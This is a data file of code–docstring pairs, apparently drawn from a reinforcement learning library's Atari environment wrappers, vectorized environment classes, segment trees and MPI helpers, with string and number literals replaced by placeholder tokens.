{"signature": "def reset(self, **kwargs):", "body": "self.env.reset(**kwargs)<EOL>if self.override_num_noops is not None:<EOL><INDENT>noops = self.override_num_noops<EOL><DEDENT>else:<EOL><INDENT>noops = self.unwrapped.np_random.randint(<NUM_LIT:1>, self.noop_max + <NUM_LIT:1>) <EOL><DEDENT>assert noops > <NUM_LIT:0><EOL>obs = None<EOL>for _ in range(noops):<EOL><INDENT>obs, _, done, _ = self.env.step(self.noop_action)<EOL>if done:<EOL><INDENT>obs = self.env.reset(**kwargs)<EOL><DEDENT><DEDENT>return obs<EOL>", "docstring": "Do no-op action for a number of steps in [1, noop_max].", "id": "f1340:c0:m1"}
{"signature": "def __init__(self, env):", "body": "gym.Wrapper.__init__(self, env)<EOL>assert env.unwrapped.get_action_meanings()[<NUM_LIT:1>] == '<STR_LIT>'<EOL>assert len(env.unwrapped.get_action_meanings()) >= <NUM_LIT:3><EOL>", "docstring": "Take action on reset for environments that are fixed until firing.", "id": "f1340:c1:m0"}
{"signature": "def __init__(self, env):", "body": "gym.Wrapper.__init__(self, env)<EOL>self.lives = <NUM_LIT:0><EOL>self.was_real_done  = True<EOL>", "docstring": "Make end-of-life == end-of-episode, but only reset on true game over.\n        Done by DeepMind for the DQN and co. since it helps value estimation.", "id": "f1340:c2:m0"}
{"signature": "def reset(self, **kwargs):", "body": "if self.was_real_done:<EOL><INDENT>obs = self.env.reset(**kwargs)<EOL><DEDENT>else:<EOL><INDENT>obs, _, _, _ = self.env.step(<NUM_LIT:0>)<EOL><DEDENT>self.lives = self.env.unwrapped.ale.lives()<EOL>return obs<EOL>", "docstring": "Reset only when lives are exhausted.\n        This way all states are still reachable even though lives are episodic,\n        and the learner need not know about any of this behind-the-scenes.", "id": "f1340:c2:m2"}
{"signature": "def __init__(self, env, skip=<NUM_LIT:4>):", "body": "gym.Wrapper.__init__(self, env)<EOL>self._obs_buffer = np.zeros((<NUM_LIT:2>,)+env.observation_space.shape, dtype=np.uint8)<EOL>self._skip       = skip<EOL>", "docstring": "Return only every `skip`-th frame", "id": "f1340:c3:m0"}
{"signature": "def step(self, action):", "body": "total_reward = <NUM_LIT:0.0><EOL>done = None<EOL>for i in range(self._skip):<EOL><INDENT>obs, reward, done, info = self.env.step(action)<EOL>if i == self._skip - <NUM_LIT:2>: self._obs_buffer[<NUM_LIT:0>] = obs<EOL>if i == self._skip - <NUM_LIT:1>: self._obs_buffer[<NUM_LIT:1>] = obs<EOL>total_reward += reward<EOL>if done:<EOL><INDENT>break<EOL><DEDENT><DEDENT>max_frame = self._obs_buffer.max(axis=<NUM_LIT:0>)<EOL>return max_frame, total_reward, done, info<EOL>", "docstring": "Repeat action, sum reward, and max over last observations.", "id": "f1340:c3:m1"}
{"signature": "def reward(self, reward):", "body": "return np.sign(reward)<EOL>", "docstring": "Bin reward to {+1, 0, -1} by its sign.", "id": "f1340:c4:m1"}
{"signature": "def __init__(self, env, width=<NUM_LIT>, height=<NUM_LIT>, grayscale=True):", "body": "gym.ObservationWrapper.__init__(self, env)<EOL>self.width = width<EOL>self.height = height<EOL>self.grayscale = grayscale<EOL>if self.grayscale:<EOL><INDENT>self.observation_space = spaces.Box(low=<NUM_LIT:0>, high=<NUM_LIT:255>,<EOL>shape=(self.height, self.width, <NUM_LIT:1>), dtype=np.uint8)<EOL><DEDENT>else:<EOL><INDENT>self.observation_space = spaces.Box(low=<NUM_LIT:0>, high=<NUM_LIT:255>,<EOL>shape=(self.height, self.width, <NUM_LIT:3>), dtype=np.uint8)<EOL><DEDENT>", "docstring": "Warp frames to 84x84 as done in the Nature paper and later work.", "id": "f1340:c5:m0"}
{"signature": "def __init__(self, env, k):", "body": "gym.Wrapper.__init__(self, env)<EOL>self.k = k<EOL>self.frames = deque([], maxlen=k)<EOL>shp = env.observation_space.shape<EOL>self.observation_space = spaces.Box(low=<NUM_LIT:0>, high=<NUM_LIT:255>, shape=(shp[:-<NUM_LIT:1>] + (shp[-<NUM_LIT:1>] * k,)), dtype=env.observation_space.dtype)<EOL>", "docstring": "Stack k last frames.\n\n        Returns lazy array, which is much more memory efficient.\n\n        See Also\n        --------\n        baselines.common.atari_wrappers.LazyFrames", "id": "f1340:c6:m0"}
{"signature": "def __init__(self, frames):", "body": "self._frames = frames<EOL>self._out = None<EOL>", "docstring": "This object ensures that common frames between the observations are only stored once.\n        It exists purely to optimize memory usage which can be huge for DQN's 1M frames replay\n        buffers.\n\n        This object should only be converted to numpy array before being passed to the model.\n\n        You'd not believe how complex the previous solution was.", "id": "f1340:c8:m0"}
{"signature": "def discount(x, gamma):", "body": "assert x.ndim >= <NUM_LIT:1><EOL>return scipy.signal.lfilter([<NUM_LIT:1>],[<NUM_LIT:1>,-gamma],x[::-<NUM_LIT:1>], axis=<NUM_LIT:0>)[::-<NUM_LIT:1>]<EOL>", "docstring": "computes discounted sums along 0th dimension of x.\n\ninputs\n------\nx: ndarray\ngamma: float\n\noutputs\n-------\ny: ndarray with same shape as x, satisfying\n\n    y[t] = x[t] + gamma*x[t+1] + gamma^2*x[t+2] + ... + gamma^k x[t+k],\n            where k = len(x) - t - 1", "id": "f1341:m0"}
{"signature": "def explained_variance(ypred,y):", "body": "assert y.ndim == <NUM_LIT:1> and ypred.ndim == <NUM_LIT:1><EOL>vary = np.var(y)<EOL>return np.nan if vary==<NUM_LIT:0> else <NUM_LIT:1> - np.var(y-ypred)/vary<EOL>", "docstring": "Computes fraction of variance that ypred explains about y.\nReturns 1 - Var[y-ypred] / Var[y]\n\ninterpretation:\n    ev=0  =>  might as well have predicted zero\n    ev=1  =>  perfect prediction\n    ev<0  =>  worse than just predicting zero", "id": "f1341:m1"}
{"signature": "def discount_with_boundaries(X, New, gamma):", "body": "Y = np.zeros_like(X)<EOL>T = X.shape[<NUM_LIT:0>]<EOL>Y[T-<NUM_LIT:1>] = X[T-<NUM_LIT:1>]<EOL>for t in range(T-<NUM_LIT:2>, -<NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>Y[t] = X[t] + gamma * Y[t+<NUM_LIT:1>] * (<NUM_LIT:1> - New[t+<NUM_LIT:1>])<EOL><DEDENT>return Y<EOL>", "docstring": "X: 2d array of floats, time x features\nNew: 2d array of bools, indicating when a new episode has started", "id": "f1341:m6"}
{"signature": "def make_vec_env(env_id, env_type, num_env, seed,<EOL>wrapper_kwargs=None,<EOL>start_index=<NUM_LIT:0>,<EOL>reward_scale=<NUM_LIT:1.0>,<EOL>flatten_dict_observations=True,<EOL>gamestate=None):", "body": "wrapper_kwargs = wrapper_kwargs or {}<EOL>mpi_rank = MPI.COMM_WORLD.Get_rank() if MPI else <NUM_LIT:0><EOL>seed = seed + <NUM_LIT> * mpi_rank if seed is not None else None<EOL>logger_dir = logger.get_dir()<EOL>def make_thunk(rank):<EOL><INDENT>return lambda: make_env(<EOL>env_id=env_id,<EOL>env_type=env_type,<EOL>mpi_rank=mpi_rank,<EOL>subrank=rank,<EOL>seed=seed,<EOL>reward_scale=reward_scale,<EOL>gamestate=gamestate,<EOL>flatten_dict_observations=flatten_dict_observations,<EOL>wrapper_kwargs=wrapper_kwargs,<EOL>logger_dir=logger_dir<EOL>)<EOL><DEDENT>set_global_seeds(seed)<EOL>if num_env > <NUM_LIT:1>:<EOL><INDENT>return SubprocVecEnv([make_thunk(i + start_index) for i in range(num_env)])<EOL><DEDENT>else:<EOL><INDENT>return DummyVecEnv([make_thunk(start_index)])<EOL><DEDENT>", "docstring": "Create a wrapped, monitored SubprocVecEnv for Atari and MuJoCo.", "id": "f1342:m0"}
{"signature": "def make_mujoco_env(env_id, seed, reward_scale=<NUM_LIT:1.0>):", "body": "rank = MPI.COMM_WORLD.Get_rank()<EOL>myseed = seed  + <NUM_LIT:1000> * rank if seed is not None else None<EOL>set_global_seeds(myseed)<EOL>env = gym.make(env_id)<EOL>logger_path = None if logger.get_dir() is None else os.path.join(logger.get_dir(), str(rank))<EOL>env = Monitor(env, logger_path, allow_early_resets=True)<EOL>env.seed(seed)<EOL>if reward_scale != <NUM_LIT:1.0>:<EOL><INDENT>from baselines.common.retro_wrappers import RewardScaler<EOL>env = RewardScaler(env, reward_scale)<EOL><DEDENT>return env<EOL>", "docstring": "Create a wrapped, monitored gym.Env for MuJoCo.", "id": "f1342:m2"}
{"signature": "def make_robotics_env(env_id, seed, rank=<NUM_LIT:0>):", "body": "set_global_seeds(seed)<EOL>env = gym.make(env_id)<EOL>env = FlattenDictWrapper(env, ['<STR_LIT>', '<STR_LIT>'])<EOL>env = Monitor(<EOL>env, logger.get_dir() and os.path.join(logger.get_dir(), str(rank)),<EOL>info_keywords=('<STR_LIT>',))<EOL>env.seed(seed)<EOL>return env<EOL>", "docstring": "Create a wrapped, monitored gym.Env for MuJoCo.", "id": "f1342:m3"}
{"signature": "def arg_parser():", "body": "import argparse<EOL>return argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)<EOL>", "docstring": "Create an empty argparse.ArgumentParser.", "id": "f1342:m4"}
{"signature": "def atari_arg_parser():", "body": "print('<STR_LIT>')<EOL>return common_arg_parser()<EOL>", "docstring": "Create an argparse.ArgumentParser for run_atari.py.", "id": "f1342:m5"}
{"signature": "def common_arg_parser():", "body": "parser = arg_parser()<EOL>parser.add_argument('<STR_LIT>', help='<STR_LIT>', type=str, default='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', help='<STR_LIT>', type=str)<EOL>parser.add_argument('<STR_LIT>', help='<STR_LIT>', type=int, default=None)<EOL>parser.add_argument('<STR_LIT>', help='<STR_LIT>', type=str, default='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', type=float, default=<NUM_LIT>),<EOL>parser.add_argument('<STR_LIT>', help='<STR_LIT>', default=None)<EOL>parser.add_argument('<STR_LIT>', help='<STR_LIT>', default=None)<EOL>parser.add_argument('<STR_LIT>', help='<STR_LIT>', default=None, type=int)<EOL>parser.add_argument('<STR_LIT>', help='<STR_LIT>', default=<NUM_LIT:1.0>, type=float)<EOL>parser.add_argument('<STR_LIT>', help='<STR_LIT>', default=None, type=str)<EOL>parser.add_argument('<STR_LIT>', help='<STR_LIT>', default=<NUM_LIT:0>, type=int)<EOL>parser.add_argument('<STR_LIT>', help='<STR_LIT>', default=<NUM_LIT:200>, type=int)<EOL>parser.add_argument('<STR_LIT>', default=False, action='<STR_LIT:store_true>')<EOL>return parser<EOL>", "docstring": "Create an argparse.ArgumentParser for run_mujoco.py.", "id": "f1342:m7"}
{"signature": "def robotics_arg_parser():", "body": "parser = arg_parser()<EOL>parser.add_argument('<STR_LIT>', help='<STR_LIT>', type=str, default='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', help='<STR_LIT>', type=int, default=None)<EOL>parser.add_argument('<STR_LIT>', type=int, default=int(<NUM_LIT>))<EOL>return parser<EOL>", "docstring": "Create an argparse.ArgumentParser for run_mujoco.py.", "id": "f1342:m8"}
{"signature": "def parse_unknown_args(args):", "body": "retval = {}<EOL>preceded_by_key = False<EOL>for arg in args:<EOL><INDENT>if arg.startswith('<STR_LIT>'):<EOL><INDENT>if '<STR_LIT:=>' in arg:<EOL><INDENT>key = arg.split('<STR_LIT:=>')[<NUM_LIT:0>][<NUM_LIT:2>:]<EOL>value = arg.split('<STR_LIT:=>')[<NUM_LIT:1>]<EOL>retval[key] = value<EOL><DEDENT>else:<EOL><INDENT>key = arg[<NUM_LIT:2>:]<EOL>preceded_by_key = True<EOL><DEDENT><DEDENT>elif preceded_by_key:<EOL><INDENT>retval[key] = arg<EOL>preceded_by_key = False<EOL><DEDENT><DEDENT>return retval<EOL>", "docstring": "Parse arguments not consumed by arg parser into a dicitonary", "id": "f1342:m9"}
{"signature": "def copy_obs_dict(obs):", "body": "return {k: np.copy(v) for k, v in obs.items()}<EOL>", "docstring": "Deep-copy an observation dict.", "id": "f1343:m0"}
{"signature": "def dict_to_obs(obs_dict):", "body": "if set(obs_dict.keys()) == {None}:<EOL><INDENT>return obs_dict[None]<EOL><DEDENT>return obs_dict<EOL>", "docstring": "Convert an observation dict into a raw array if the\noriginal observation space was not a Dict space.", "id": "f1343:m1"}
{"signature": "def obs_space_info(obs_space):", "body": "if isinstance(obs_space, gym.spaces.Dict):<EOL><INDENT>assert isinstance(obs_space.spaces, OrderedDict)<EOL>subspaces = obs_space.spaces<EOL><DEDENT>else:<EOL><INDENT>subspaces = {None: obs_space}<EOL><DEDENT>keys = []<EOL>shapes = {}<EOL>dtypes = {}<EOL>for key, box in subspaces.items():<EOL><INDENT>keys.append(key)<EOL>shapes[key] = box.shape<EOL>dtypes[key] = box.dtype<EOL><DEDENT>return keys, shapes, dtypes<EOL>", "docstring": "Get dict-structured information about a gym.Space.\n\nReturns:\n  A tuple (keys, shapes, dtypes):\n    keys: a list of dict keys.\n    shapes: a dict mapping keys to shapes.\n    dtypes: a dict mapping keys to dtypes.", "id": "f1343:m2"}
{"signature": "def obs_to_dict(obs):", "body": "if isinstance(obs, dict):<EOL><INDENT>return obs<EOL><DEDENT>return {None: obs}<EOL>", "docstring": "Convert an observation into a dict.", "id": "f1343:m3"}
{"signature": "def __init__(self, env_fns, spaces=None, context='<STR_LIT>'):", "body": "self.waiting = False<EOL>self.closed = False<EOL>nenvs = len(env_fns)<EOL>ctx = mp.get_context(context)<EOL>self.remotes, self.work_remotes = zip(*[ctx.Pipe() for _ in range(nenvs)])<EOL>self.ps = [ctx.Process(target=worker, args=(work_remote, remote, CloudpickleWrapper(env_fn)))<EOL>for (work_remote, remote, env_fn) in zip(self.work_remotes, self.remotes, env_fns)]<EOL>for p in self.ps:<EOL><INDENT>p.daemon = True  <EOL>with clear_mpi_env_vars():<EOL><INDENT>p.start()<EOL><DEDENT><DEDENT>for remote in self.work_remotes:<EOL><INDENT>remote.close()<EOL><DEDENT>self.remotes[<NUM_LIT:0>].send(('<STR_LIT>', None))<EOL>observation_space, action_space, self.spec = self.remotes[<NUM_LIT:0>].recv()<EOL>self.viewer = None<EOL>VecEnv.__init__(self, len(env_fns), observation_space, action_space)<EOL>", "docstring": "Arguments:\n\nenv_fns: iterable of callables -  functions that create environments to run in subprocesses. Need to be cloud-pickleable", "id": "f1344:c0:m0"}
{"signature": "def _subproc_worker(pipe, parent_pipe, env_fn_wrapper, obs_bufs, obs_shapes, obs_dtypes, keys):", "body": "def _write_obs(maybe_dict_obs):<EOL><INDENT>flatdict = obs_to_dict(maybe_dict_obs)<EOL>for k in keys:<EOL><INDENT>dst = obs_bufs[k].get_obj()<EOL>dst_np = np.frombuffer(dst, dtype=obs_dtypes[k]).reshape(obs_shapes[k])  <EOL>np.copyto(dst_np, flatdict[k])<EOL><DEDENT><DEDENT>env = env_fn_wrapper.x()<EOL>parent_pipe.close()<EOL>try:<EOL><INDENT>while True:<EOL><INDENT>cmd, data = pipe.recv()<EOL>if cmd == '<STR_LIT>':<EOL><INDENT>pipe.send(_write_obs(env.reset()))<EOL><DEDENT>elif cmd == '<STR_LIT>':<EOL><INDENT>obs, reward, done, info = env.step(data)<EOL>if done:<EOL><INDENT>obs = env.reset()<EOL><DEDENT>pipe.send((_write_obs(obs), reward, done, info))<EOL><DEDENT>elif cmd == '<STR_LIT>':<EOL><INDENT>pipe.send(env.render(mode='<STR_LIT>'))<EOL><DEDENT>elif cmd == '<STR_LIT>':<EOL><INDENT>pipe.send(None)<EOL>break<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>' % cmd)<EOL><DEDENT><DEDENT><DEDENT>except KeyboardInterrupt:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>finally:<EOL><INDENT>env.close()<EOL><DEDENT>", "docstring": "Control a single environment instance using IPC and\nshared memory.", "id": "f1347:m0"}
{"signature": "def __init__(self, env_fns, spaces=None, context='<STR_LIT>'):", "body": "ctx = mp.get_context(context)<EOL>if spaces:<EOL><INDENT>observation_space, action_space = spaces<EOL><DEDENT>else:<EOL><INDENT>logger.log('<STR_LIT>')<EOL>with logger.scoped_configure(format_strs=[]):<EOL><INDENT>dummy = env_fns[<NUM_LIT:0>]()<EOL>observation_space, action_space = dummy.observation_space, dummy.action_space<EOL>dummy.close()<EOL>del dummy<EOL><DEDENT><DEDENT>VecEnv.__init__(self, len(env_fns), observation_space, action_space)<EOL>self.obs_keys, self.obs_shapes, self.obs_dtypes = obs_space_info(observation_space)<EOL>self.obs_bufs = [<EOL>{k: ctx.Array(_NP_TO_CT[self.obs_dtypes[k].type], int(np.prod(self.obs_shapes[k]))) for k in self.obs_keys}<EOL>for _ in env_fns]<EOL>self.parent_pipes = []<EOL>self.procs = []<EOL>with clear_mpi_env_vars():<EOL><INDENT>for env_fn, obs_buf in zip(env_fns, self.obs_bufs):<EOL><INDENT>wrapped_fn = CloudpickleWrapper(env_fn)<EOL>parent_pipe, child_pipe = ctx.Pipe()<EOL>proc = ctx.Process(target=_subproc_worker,<EOL>args=(child_pipe, parent_pipe, wrapped_fn, obs_buf, self.obs_shapes, self.obs_dtypes, self.obs_keys))<EOL>proc.daemon = True<EOL>self.procs.append(proc)<EOL>self.parent_pipes.append(parent_pipe)<EOL>proc.start()<EOL>child_pipe.close()<EOL><DEDENT><DEDENT>self.waiting_step = False<EOL>self.viewer = None<EOL>", "docstring": "If you don't specify observation_space, we'll have to create a dummy\nenvironment to get it.", "id": "f1347:c0:m0"}
{"signature": "def assert_venvs_equal(venv1, venv2, num_steps):", "body": "assert venv1.num_envs == venv2.num_envs<EOL>assert venv1.observation_space.shape == venv2.observation_space.shape<EOL>assert venv1.observation_space.dtype == venv2.observation_space.dtype<EOL>assert venv1.action_space.shape == venv2.action_space.shape<EOL>assert venv1.action_space.dtype == venv2.action_space.dtype<EOL>try:<EOL><INDENT>obs1, obs2 = venv1.reset(), venv2.reset()<EOL>assert np.array(obs1).shape == np.array(obs2).shape<EOL>assert np.array(obs1).shape == (venv1.num_envs,) + venv1.observation_space.shape<EOL>assert np.allclose(obs1, obs2)<EOL>venv1.action_space.seed(<NUM_LIT>)<EOL>for _ in range(num_steps):<EOL><INDENT>actions = np.array([venv1.action_space.sample() for _ in range(venv1.num_envs)])<EOL>for venv in [venv1, venv2]:<EOL><INDENT>venv.step_async(actions)<EOL><DEDENT>outs1 = venv1.step_wait()<EOL>outs2 = venv2.step_wait()<EOL>for out1, out2 in zip(outs1[:<NUM_LIT:3>], outs2[:<NUM_LIT:3>]):<EOL><INDENT>assert np.array(out1).shape == np.array(out2).shape<EOL>assert np.allclose(out1, out2)<EOL><DEDENT>assert list(outs1[<NUM_LIT:3>]) == list(outs2[<NUM_LIT:3>])<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>venv1.close()<EOL>venv2.close()<EOL><DEDENT>", "docstring": "Compare two environments over num_steps steps and make sure\nthat the observations produced by each are the same when given\nthe same actions.", "id": "f1348:m0"}
{"signature": "def __init__(self, env_fns):", "body": "self.envs = [fn() for fn in env_fns]<EOL>env = self.envs[<NUM_LIT:0>]<EOL>VecEnv.__init__(self, len(env_fns), env.observation_space, env.action_space)<EOL>obs_space = env.observation_space<EOL>self.keys, shapes, dtypes = obs_space_info(obs_space)<EOL>self.buf_obs = { k: np.zeros((self.num_envs,) + tuple(shapes[k]), dtype=dtypes[k]) for k in self.keys }<EOL>self.buf_dones = np.zeros((self.num_envs,), dtype=np.bool)<EOL>self.buf_rews  = np.zeros((self.num_envs,), dtype=np.float32)<EOL>self.buf_infos = [{} for _ in range(self.num_envs)]<EOL>self.actions = None<EOL>self.spec = self.envs[<NUM_LIT:0>].spec<EOL>", "docstring": "Arguments:\n\nenv_fns: iterable of callables      functions that build environments", "id": "f1350:c0:m0"}
{"signature": "def __init__(self, venv, directory, record_video_trigger, video_length=<NUM_LIT:200>):", "body": "VecEnvWrapper.__init__(self, venv)<EOL>self.record_video_trigger = record_video_trigger<EOL>self.video_recorder = None<EOL>self.directory = os.path.abspath(directory)<EOL>if not os.path.exists(self.directory): os.mkdir(self.directory)<EOL>self.file_prefix = \"<STR_LIT>\"<EOL>self.file_infix = '<STR_LIT:{}>'.format(os.getpid())<EOL>self.step_id = <NUM_LIT:0><EOL>self.video_length = video_length<EOL>self.recording = False<EOL>self.recorded_frames = <NUM_LIT:0><EOL>", "docstring": "# Arguments\n    venv: VecEnv to wrap\n    directory: Where to save videos\n    record_video_trigger:\n        Function that defines when to start recording.\n        The function takes the current number of step,\n        and returns whether we should start recording or not.\n    video_length: Length of recorded video", "id": "f1351:c0:m0"}
{"signature": "@contextlib.contextmanager<EOL>def clear_mpi_env_vars():", "body": "removed_environment = {}<EOL>for k, v in list(os.environ.items()):<EOL><INDENT>for prefix in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>if k.startswith(prefix):<EOL><INDENT>removed_environment[k] = v<EOL>del os.environ[k]<EOL><DEDENT><DEDENT><DEDENT>try:<EOL><INDENT>yield<EOL><DEDENT>finally:<EOL><INDENT>os.environ.update(removed_environment)<EOL><DEDENT>", "docstring": "from mpi4py import MPI will call MPI_Init by default.  If the child process has MPI environment variables, MPI will think that the child process is an MPI process just like the parent and do bad things such as hang.\nThis context manager is a hacky way to clear those environment variables temporarily such as when we are starting multiprocessing\nProcesses.", "id": "f1352:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def reset(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Reset all the environments and return an array of\nobservations, or a dict of observation arrays.\n\nIf step_async is still doing work, that work will\nbe cancelled and step_wait() should not be called\nuntil step_async() is invoked again.", "id": "f1352:c2:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def step_async(self, actions):<DEDENT>", "body": "pass<EOL>", "docstring": "Tell all the environments to start taking a step\nwith the given actions.\nCall step_wait() to get the results of the step.\n\nYou should not call this if a step_async run is\nalready pending.", "id": "f1352:c2:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def step_wait(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Wait for the step taken with step_async().\n\nReturns (obs, rews, dones, infos):\n - obs: an array of observations, or a dict of\n        arrays of observations.\n - rews: an array of rewards\n - dones: an array of \"episode done\" booleans\n - infos: a sequence of info objects", "id": "f1352:c2:m3"}
{"signature": "def close_extras(self):", "body": "pass<EOL>", "docstring": "Clean up the  extra resources, beyond what's in this base class.\nOnly runs when not self.closed.", "id": "f1352:c2:m4"}
{"signature": "def step(self, actions):", "body": "self.step_async(actions)<EOL>return self.step_wait()<EOL>", "docstring": "Step the environments synchronously.\n\nThis is available for backwards compatibility.", "id": "f1352:c2:m6"}
{"signature": "def get_images(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Return RGB images from each environment", "id": "f1352:c2:m8"}
{"signature": "def observation_placeholder(ob_space, batch_size=None, name='<STR_LIT>'):", "body": "assert isinstance(ob_space, Discrete) or isinstance(ob_space, Box) or isinstance(ob_space, MultiDiscrete),'<STR_LIT>'<EOL>dtype = ob_space.dtype<EOL>if dtype == np.int8:<EOL><INDENT>dtype = np.uint8<EOL><DEDENT>return tf.placeholder(shape=(batch_size,) + ob_space.shape, dtype=dtype, name=name)<EOL>", "docstring": "Create placeholder to feed observations into of the size appropriate to the observation space\n\nParameters:\n----------\n\nob_space: gym.Space     observation space\n\nbatch_size: int         size of the batch to be fed into input. Can be left None in most cases.\n\nname: str               name of the placeholder\n\nReturns:\n-------\n\ntensorflow placeholder tensor", "id": "f1356:m0"}
{"signature": "def observation_input(ob_space, batch_size=None, name='<STR_LIT>'):", "body": "placeholder = observation_placeholder(ob_space, batch_size, name)<EOL>return placeholder, encode_observation(ob_space, placeholder)<EOL>", "docstring": "Create placeholder to feed observations into of the size appropriate to the observation space, and add input\nencoder of the appropriate type.", "id": "f1356:m1"}
{"signature": "def encode_observation(ob_space, placeholder):", "body": "if isinstance(ob_space, Discrete):<EOL><INDENT>return tf.to_float(tf.one_hot(placeholder, ob_space.n))<EOL><DEDENT>elif isinstance(ob_space, Box):<EOL><INDENT>return tf.to_float(placeholder)<EOL><DEDENT>elif isinstance(ob_space, MultiDiscrete):<EOL><INDENT>placeholder = tf.cast(placeholder, tf.int32)<EOL>one_hots = [tf.to_float(tf.one_hot(placeholder[..., i], ob_space.nvec[i])) for i in range(placeholder.shape[-<NUM_LIT:1>])]<EOL>return tf.concat(one_hots, axis=-<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError<EOL><DEDENT>", "docstring": "Encode input in the way that is appropriate to the observation space\n\nParameters:\n----------\n\nob_space: gym.Space             observation space\n\nplaceholder: tf.placeholder     observation input placeholder", "id": "f1356:m2"}
{"signature": "def __init__(self, capacity, operation, neutral_element):", "body": "assert capacity > <NUM_LIT:0> and capacity & (capacity - <NUM_LIT:1>) == <NUM_LIT:0>, \"<STR_LIT>\"<EOL>self._capacity = capacity<EOL>self._value = [neutral_element for _ in range(<NUM_LIT:2> * capacity)]<EOL>self._operation = operation<EOL>", "docstring": "Build a Segment Tree data structure.\n\n        https://en.wikipedia.org/wiki/Segment_tree\n\n        Can be used as regular array, but with two\n        important differences:\n\n            a) setting item's value is slightly slower.\n               It is O(lg capacity) instead of O(1).\n            b) user has access to an efficient ( O(log segment size) )\n               `reduce` operation which reduces `operation` over\n               a contiguous subsequence of items in the array.\n\n        Paramters\n        ---------\n        capacity: int\n            Total size of the array - must be a power of two.\n        operation: lambda obj, obj -> obj\n            and operation for combining elements (eg. sum, max)\n            must form a mathematical group together with the set of\n            possible values for array elements (i.e. be associative)\n        neutral_element: obj\n            neutral element for the operation above. eg. float('-inf')\n            for max and 0 for sum.", "id": "f1357:c0:m0"}
{"signature": "def reduce(self, start=<NUM_LIT:0>, end=None):", "body": "if end is None:<EOL><INDENT>end = self._capacity<EOL><DEDENT>if end < <NUM_LIT:0>:<EOL><INDENT>end += self._capacity<EOL><DEDENT>end -= <NUM_LIT:1><EOL>return self._reduce_helper(start, end, <NUM_LIT:1>, <NUM_LIT:0>, self._capacity - <NUM_LIT:1>)<EOL>", "docstring": "Returns result of applying `self.operation`\n        to a contiguous subsequence of the array.\n\n            self.operation(arr[start], operation(arr[start+1], operation(... arr[end])))\n\n        Parameters\n        ----------\n        start: int\n            beginning of the subsequence\n        end: int\n            end of the subsequences\n\n        Returns\n        -------\n        reduced: obj\n            result of reducing self.operation over the specified range of array elements.", "id": "f1357:c0:m2"}
{"signature": "def sum(self, start=<NUM_LIT:0>, end=None):", "body": "return super(SumSegmentTree, self).reduce(start, end)<EOL>", "docstring": "Returns arr[start] + ... + arr[end]", "id": "f1357:c1:m1"}
{"signature": "def find_prefixsum_idx(self, prefixsum):", "body": "assert <NUM_LIT:0> <= prefixsum <= self.sum() + <NUM_LIT><EOL>idx = <NUM_LIT:1><EOL>while idx < self._capacity:  <EOL><INDENT>if self._value[<NUM_LIT:2> * idx] > prefixsum:<EOL><INDENT>idx = <NUM_LIT:2> * idx<EOL><DEDENT>else:<EOL><INDENT>prefixsum -= self._value[<NUM_LIT:2> * idx]<EOL>idx = <NUM_LIT:2> * idx + <NUM_LIT:1><EOL><DEDENT><DEDENT>return idx - self._capacity<EOL>", "docstring": "Find the highest index `i` in the array such that\n            sum(arr[0] + arr[1] + ... + arr[i - i]) <= prefixsum\n\n        if array values are probabilities, this function\n        allows to sample indexes according to the discrete\n        probability efficiently.\n\n        Parameters\n        ----------\n        perfixsum: float\n            upperbound on the sum of array prefix\n\n        Returns\n        -------\n        idx: int\n            highest index satisfying the prefixsum constraint", "id": "f1357:c1:m2"}
{"signature": "def min(self, start=<NUM_LIT:0>, end=None):", "body": "return super(MinSegmentTree, self).reduce(start, end)<EOL>", "docstring": "Returns min(arr[start], ...,  arr[end])", "id": "f1357:c2:m1"}
{"signature": "def mpi_fork(n, bind_to_core=False):", "body": "if n<=<NUM_LIT:1>:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>if os.getenv(\"<STR_LIT>\") is None:<EOL><INDENT>env = os.environ.copy()<EOL>env.update(<EOL>MKL_NUM_THREADS=\"<STR_LIT:1>\",<EOL>OMP_NUM_THREADS=\"<STR_LIT:1>\",<EOL>IN_MPI=\"<STR_LIT:1>\"<EOL>)<EOL>args = [\"<STR_LIT>\", \"<STR_LIT>\", str(n)]<EOL>if bind_to_core:<EOL><INDENT>args += [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL><DEDENT>args += [sys.executable] + sys.argv<EOL>subprocess.check_call(args, env=env)<EOL>return \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>", "docstring": "Re-launches the current script with workers\n    Returns \"parent\" for original parent, \"child\" for MPI children", "id": "f1358:m0"}
{"signature": "def check_synced(localval, comm=None):", "body": "comm = comm or MPI.COMM_WORLD<EOL>vals = comm.gather(localval)<EOL>if comm.rank == <NUM_LIT:0>:<EOL><INDENT>assert all(val==vals[<NUM_LIT:0>] for val in vals[<NUM_LIT:1>:])<EOL><DEDENT>", "docstring": "It's common to forget to initialize your variables to the same values, or\n(less commonly) if you update them in some other way than adam, to get them out of sync.\nThis function checks that variables on all MPI workers are the same, and raises\nan AssertionError otherwise\n\nArguments:\n    comm: MPI communicator\n    localval: list of local variables (list of variables on current worker to be compared with the other workers)", "id": "f1362:m0"}
{"signature": "def switch(condition, then_expression, else_expression):", "body": "x_shape = copy.copy(then_expression.get_shape())<EOL>x = tf.cond(tf.cast(condition, '<STR_LIT:bool>'),<EOL>lambda: then_expression,<EOL>lambda: else_expression)<EOL>x.set_shape(x_shape)<EOL>return x<EOL>", "docstring": "Switches between two operations depending on a scalar value (int or bool).\n    Note that both `then_expression` and `else_expression`\n    should be symbolic tensors of the *same shape*.\n\n    # Arguments\n        condition: scalar tensor.\n        then_expression: TensorFlow operation.\n        else_expression: TensorFlow operation.", "id": "f1363:m0"}
